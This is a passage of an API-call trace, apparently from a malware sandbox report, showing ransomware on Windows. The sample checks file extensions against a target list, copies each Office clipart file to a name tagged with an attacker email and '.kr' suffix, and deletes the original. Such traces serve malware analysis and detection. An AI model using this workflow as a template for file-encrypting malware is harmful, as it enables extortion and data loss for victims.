(lpString=".jpg") returned 4 [0217.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.842] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.842] lstrlenW (lpString="J0152698.WMF") returned 12 [0217.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0218.035] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1208) returned 1 [0218.035] CloseHandle (hObject=0x4bc) returned 1 [0218.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220 [0218.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0218.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0218.036] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.036] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0218.038] GetLastError () returned 0x0 [0218.038] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0218.039] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0218.040] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.040] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.040] SetEndOfFile (hFile=0x378) returned 1 [0218.040] CloseHandle (hObject=0x378) returned 1 [0218.040] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.040] SetEndOfFile (hFile=0x4bc) returned 1 [0218.043] CloseHandle (hObject=0x4bc) returned 1 [0218.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0218.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0218.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.044] lstrlenW (lpString=".doc") returned 4 [0218.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString=".docx") returned 5 [0218.045] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0218.045] lstrlenW (lpString=".pdf") returned 4 [0218.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString=".xls") returned 4 [0218.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.045] lstrlenW (lpString=".xlsx") returned 5 [0218.045] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0218.045] lstrlenW (lpString=".ppt") returned 4 [0218.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.045] lstrlenW (lpString=".zip") returned 4 [0218.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.045] lstrlenW (lpString=".rar") returned 4 [0218.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString=".bz2") returned 4 [0218.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString=".7z") returned 3 [0218.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.045] lstrlenW (lpString=".dbf") returned 4 [0218.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.045] lstrlenW (lpString=".1cd") returned 4 [0218.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.045] lstrlenW (lpString=".jpg") returned 4 [0218.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.045] lstrlenW (lpString=".doc") returned 4 [0218.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.045] lstrlenW (lpString=".docx") returned 5 [0218.045] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0218.046] lstrlenW (lpString=".pdf") returned 4 [0218.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.046] lstrlenW (lpString=".xls") returned 4 [0218.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.046] lstrlenW (lpString=".xlsx") returned 5 [0218.046] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0218.046] lstrlenW (lpString=".ppt") returned 4 [0218.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.046] lstrlenW (lpString=".zip") returned 4 [0218.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.046] lstrlenW (lpString=".rar") returned 4 [0218.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.046] lstrlenW (lpString=".bz2") returned 4 [0218.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.046] lstrlenW (lpString=".7z") returned 3 [0218.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.046] lstrlenW (lpString=".dbf") returned 4 [0218.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.046] lstrlenW (lpString=".1cd") returned 4 [0218.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0218.046] lstrlenW (lpString=".jpg") returned 4 [0218.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.046] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0218.046] lstrlenW (lpString="J0152716.WMF") returned 12 [0218.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0218.048] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4580) returned 1 [0218.048] CloseHandle (hObject=0x4bc) returned 1 [0218.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220 [0218.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0218.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0218.049] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.049] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0218.050] GetLastError () returned 0x0 [0218.050] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x11e4, lpOverlapped=0x0) returned 1 [0218.051] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x11f0, lpOverlapped=0x0) returned 1 [0218.052] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.052] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.052] SetEndOfFile (hFile=0x378) returned 1 [0218.052] CloseHandle (hObject=0x378) returned 1 [0218.052] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.052] SetEndOfFile (hFile=0x4bc) returned 1 [0218.055] CloseHandle (hObject=0x4bc) returned 1 [0218.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0218.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0218.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.056] lstrlenW (lpString=".doc") returned 4 [0218.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.056] lstrlenW (lpString=".docx") returned 5 [0218.056] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0218.057] lstrlenW (lpString=".pdf") returned 4 [0218.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.057] lstrlenW (lpString=".xls") returned 4 [0218.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.057] lstrlenW (lpString=".xlsx") returned 5 [0218.057] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0218.057] lstrlenW (lpString=".ppt") returned 4 [0218.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.057] lstrlenW (lpString=".zip") returned 4 [0218.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.057] lstrlenW (lpString=".rar") returned 4 [0218.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.057] lstrlenW (lpString=".bz2") returned 4 [0218.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.057] lstrlenW (lpString=".7z") returned 3 [0218.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.057] lstrlenW (lpString=".dbf") returned 4 [0218.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.057] lstrlenW (lpString=".1cd") returned 4 [0218.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.057] lstrlenW (lpString=".jpg") returned 4 [0218.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.057] lstrlenW (lpString=".doc") returned 4 [0218.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.057] lstrlenW (lpString=".docx") returned 5 [0218.058] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0218.058] lstrlenW (lpString=".pdf") returned 4 [0218.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.058] lstrlenW (lpString=".xls") returned 4 [0218.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.058] lstrlenW (lpString=".xlsx") returned 5 [0218.058] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0218.058] lstrlenW (lpString=".ppt") returned 4 [0218.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.058] lstrlenW (lpString=".zip") returned 4 [0218.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.058] lstrlenW (lpString=".rar") returned 4 [0218.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.058] lstrlenW (lpString=".bz2") returned 4 [0218.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.058] lstrlenW (lpString=".7z") returned 3 [0218.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.058] lstrlenW (lpString=".dbf") returned 4 [0218.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.058] lstrlenW (lpString=".1cd") returned 4 [0218.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0218.058] lstrlenW (lpString=".jpg") returned 4 [0218.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.058] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0218.058] lstrlenW (lpString="J0152722.WMF") returned 12 [0218.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0218.060] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=7020) returned 1 [0218.060] CloseHandle (hObject=0x4bc) returned 1 [0218.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 0x220 [0218.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0218.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0218.060] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.060] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0218.061] GetLastError () returned 0x0 [0218.061] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1b6c, lpOverlapped=0x0) returned 1 [0218.063] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0218.064] ReadFile (in: hFile=0x4bc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.064] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.064] SetEndOfFile (hFile=0x378) returned 1 [0218.064] CloseHandle (hObject=0x378) returned 1 [0218.064] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.064] SetEndOfFile (hFile=0x4bc) returned 1 [0218.066] CloseHandle (hObject=0x4bc) returned 1 [0218.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0218.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0218.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.068] lstrlenW (lpString=".doc") returned 4 [0218.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.068] lstrlenW (lpString=".docx") returned 5 [0218.068] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0218.068] lstrlenW (lpString=".pdf") returned 4 [0218.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.068] lstrlenW (lpString=".xls") returned 4 [0218.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.068] lstrlenW (lpString=".xlsx") returned 5 [0218.068] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0218.068] lstrlenW (lpString=".ppt") returned 4 [0218.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.068] lstrlenW (lpString=".zip") returned 4 [0218.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.068] lstrlenW (lpString=".rar") returned 4 [0218.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.068] lstrlenW (lpString=".bz2") returned 4 [0218.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.068] lstrlenW (lpString=".7z") returned 3 [0218.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.068] lstrlenW (lpString=".dbf") returned 4 [0218.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.068] lstrlenW (lpString=".1cd") returned 4 [0218.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.068] lstrlenW (lpString=".jpg") returned 4 [0218.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.069] lstrlenW (lpString=".doc") returned 4 [0218.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.069] lstrlenW (lpString=".docx") returned 5 [0218.069] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0218.069] lstrlenW (lpString=".pdf") returned 4 [0218.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.069] lstrlenW (lpString=".xls") returned 4 [0218.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.069] lstrlenW (lpString=".xlsx") returned 5 [0218.069] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0218.069] lstrlenW (lpString=".ppt") returned 4 [0218.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.069] lstrlenW (lpString=".zip") returned 4 [0218.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.069] lstrlenW (lpString=".rar") returned 4 [0218.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.069] lstrlenW (lpString=".bz2") returned 4 [0218.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.069] lstrlenW (lpString=".7z") returned 3 [0218.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.069] lstrlenW (lpString=".dbf") returned 4 [0218.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.069] lstrlenW (lpString=".1cd") returned 4 [0218.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0218.069] lstrlenW (lpString=".jpg") returned 4 [0218.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.070] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0218.070] lstrlenW (lpString="J0152876.WMF") returned 12 [0218.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 